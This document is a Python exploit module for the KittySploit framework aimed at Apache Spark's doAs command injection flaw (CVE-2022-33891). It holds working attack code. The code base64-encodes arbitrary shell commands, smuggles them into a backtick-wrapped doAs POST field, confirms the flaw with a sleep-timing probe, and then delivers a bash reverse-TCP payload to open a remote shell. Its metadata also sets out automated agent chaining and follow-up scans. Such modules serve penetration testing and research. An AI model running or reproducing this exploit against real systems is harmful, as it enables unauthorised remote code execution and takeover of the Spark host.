Apache Spark doAs Command Injection RCE (CVE-2022-33891)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Spark doAs command injection RCE (CVE-2022-33891) — reverse CMD session."""

from __future__ import annotations

import base64
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Apache Spark doAs Command Injection RCE (CVE-2022-33891)',
        'description': (
            'Exploits CVE-2022-33891 command injection in the Spark ACL check when '
            'spark.acls.enable is true. Sends a crafted doAs POST parameter to run '
            'arbitrary shell commands as the Spark process user.'
        ),
        'author': ['Kostya Kortchinsky', 'KittySploit Team'],
        'cve': ['CVE-2022-33891'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2022-33891',
            'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc',
        ],
        'tags': [
            'spark', 'apache', 'doas', 'injection', 'rce', 'unauth',
            'kev', 'cve-2022-33891',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['spark', 'apache'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'doAs command injection'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': [
                    'scanner/http/apache_spark_env_detect',
                    'scanner/http/spark_webui_unauth_detect',
                ],
            },
        },
    }

    port = OptPort(8080, 'Spark UI / master port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    sleep_probe = OptPort(5, 'Sleep seconds for vulnerability check', False, advanced=True)

    def _spark_path(self) -> str:
        base = (self.path or '/').rstrip('/')
        return base or '/'

    def _execute_command(self, cmd: str):
        b64 = base64.b64encode(cmd.encode()).decode()
        post_data = f'doAs=`echo {b64} | base64 -d | bash`'
        return self.http_request(
            method='POST',
            path=self._spark_path(),
            data=post_data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )

    def check(self):
        probe = self.random_text(8).lower()
        r = self._execute_command(f'echo {probe}')
        if not r:
            return {
                'vulnerable': False,
                'reason': 'No response from Spark endpoint',
                'confidence': 'medium',
            }
        if int(r.status_code or 0) != 403:
            return {
                'vulnerable': False,
                'reason': f'Expected HTTP 403 from ACL check, got {r.status_code}',
                'confidence': 'medium',
            }

        delay = max(3, int(self.sleep_probe or 5))
        start = time.time()
        self._execute_command(f'sleep {delay}')
        elapsed = time.time() - start
        if elapsed >= delay - 0.5:
            return {
                'vulnerable': True,
                'reason': f'Command injection confirmed (sleep {delay}s)',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'ACL endpoint reachable but injection not confirmed',
            'confidence': 'medium',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('A reverse CMD payload is required')
            return False

        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target does not appear vulnerable'))
            self.not_vulnerable()
            return False

        print_status('Delivering reverse payload via doAs injection...')
        r = self._execute_command(payload_cmd)
        if not r:
            print_error('No response while sending payload')
            return False
        print_success(
            f'Payload delivered (HTTP {r.status_code}); waiting for reverse shell session'
        )
        return True